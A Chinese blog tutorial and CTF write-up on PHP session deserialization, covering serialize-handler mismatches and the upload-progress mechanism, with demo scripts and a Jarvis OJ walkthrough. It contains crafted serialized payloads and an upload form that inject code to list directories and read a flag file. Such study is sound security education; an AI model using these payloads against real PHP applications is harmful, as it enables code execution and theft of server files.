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session反序列化

先来了解一下关于session的一些基础知识

什么是session?
在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

session是如何起作用的
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

除此之外,还需要知道session_start()这个函数已经这个函数所起的作用:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

了解了有关session的概念后,还需要了解php.ini中一些Session配置

 

1 session.save_path="" --设置session的存储路径
2 session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
3 session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
4 session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

 

 

 

这里我是在Windows上搭建的所以显示的路径为E盘,如果是在Linux上搭建的话,常见的php-session存放位置有:

1 /var/lib/php5/sess_PHPSESSID
2 /var/lib/php7/sess_PHPSESSID
3 /var/lib/php/sess_PHPSESSID
4 /tmp/sess_PHPSESSID
5 /tmp/sessions/sess_PHPSESSED

想要知道为什么为出现这个session漏洞,就需要了解session机制中对序列化是如何处理的

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

这个便是在相应的处理器处理下,session所存储的格式,这里举个例子来了解一下在不同的处理器下,session所储存的格式有什么不一样(测试的时候php版本一定要大于5.5.4,不然session写不进文件))

 

1 <?php
2 ini_set('session.serialize_handler', 'php');
3 //ini_set("session.serialize_handler", "php_serialize");
4 //ini_set("session.serialize_handler", "php_binary");
5 session_start();
6 $_SESSION['lemon'] = $_GET['a'];
7 echo "<pre>";
8 var_dump($_SESSION);
9 echo "</pre>";

 

比如这里我get进去一个值为shy,查看一下各个存储格式:

php : lemon|s:3:"shy";
php_serialize : a:1:{s:5:"lemon";s:3:"shy";}
php_binary : lemons:3:"shy";

这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。

使用不同的引擎来处理session文件

php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。
下面就模仿师傅的操作学习一下

先以php_serialize的格式存储,从客户端接收参数并存入session变量

1.php

 1 <?php
 2 //ini_set('session.serialize_handler', 'php');
 3 ini_set("session.serialize_handler", "php_serialize");
 4 //ini_set("session.serialize_handler", "php_binary");
 5 session_start();
 6 $_SESSION['lemon'] = $_GET['a'];
 7 echo "<pre>";
 8 var_dump($_SESSION);
 9 echo "</pre>";
10 ?>

接下来使用php引擎读取session文件

2.php

 1 <?php
 2 ini_set('session.serialize_handler', 'php');
 3 session_start();
 4 class student{
 5     var $name;
 6     var $age;
 7     function __wakeup(){
 8         echo "hello ".$this->name."!";
 9     }
10 }
11 ?>

攻击思路:
首先访问1.php,在传入的参数最开始加一个'|',由于1.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。
这里可能会有一个小疑问,为什么在解析session文件时直接对'|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明:

 

 首先生成一个payload:

3.php

 1 <?php
 2     class student{
 3         var $name;
 4         var $age;
 5     }
 6     $a = new student();
 7     $a->name =  "daye";
 8     $a->age = "100";
 9     echo serialize($a);
10 ?>

结果:

O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

攻击思路中说到了因为不同的引擎会对'|',产生歧义,所以在传参时在payload前加个'|',作为a参数

payload:

|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}

 

 

访问1.php,查看一下本地session文件,发现payload已经存入到session文件

 

 

 

php_serialize引擎传入的payload作为lemon对应值,而php则完全不一样:

 

 

访问一下2.php看看会有什么结果

 

 

成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。

 

没有$_SESSION变量赋值

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。

 

但第一次看到真的有点懵,这该怎么去利用,看了大师傅的博客才明白,这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。

实践一下,可以来看一道ctf题目

Jarvis OJ——PHPINFO

 

 

当我们随便传入一个值时,便会触发__construct()魔法函数,从而出现phpinfo页面,在phpinfo页面发现

 

 

发现默认的引擎是php-serialize,而题目所使用的引擎是php,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。

观察代码会发现这段代码是没有$_SESSION变量赋值但符合使用不同的引擎来处理session文件,所以这里就使用到了php中的upload_process机制。

通过POST方法来构造数据传入$_SESSION,首先构造POST提交表单

1 <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
2     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
3     <input type="file" name="file" />
4     <input type="submit" />
5 </form>

 

接下来构造序列化payload

 1 <?php
 2 ini_set('session.serialize_handler', 'php_serialize');
 3 session_start();
 4 class OowoO
 5 {
 6     public $mdzz='payload';
 7 }
 8 $obj = new OowoO();
 9 echo serialize($obj);
10 ?>

将payload改为如下代码:

1 print_r(scandir(dirname(__FILE__)));
2 #scandir目录中的文件和目录
3 #dirname函数返回路径中的目录部分
4 #__FILE__   php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
5 #序列化后的结果
6 O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止双引号被转义,在双引号前加上\,除此之外还要加上|

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

在这个页面随便上传一个文件,然后抓包修改filename的值

 

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

 

 

$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的

既然知道了路径,就继续构造payload即可

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));
#file_get_contents() 函数把整个文件读入一个字符串中。

 

接下来的就还是序列化然后改一下格式传入即可,后面的就不再写了

参考:https://xz.aliyun.com/t/7366

 

 

posted @ 2020-05-30 21:58  My_Dreams  阅读(2137)  评论(1编辑  收藏  举报
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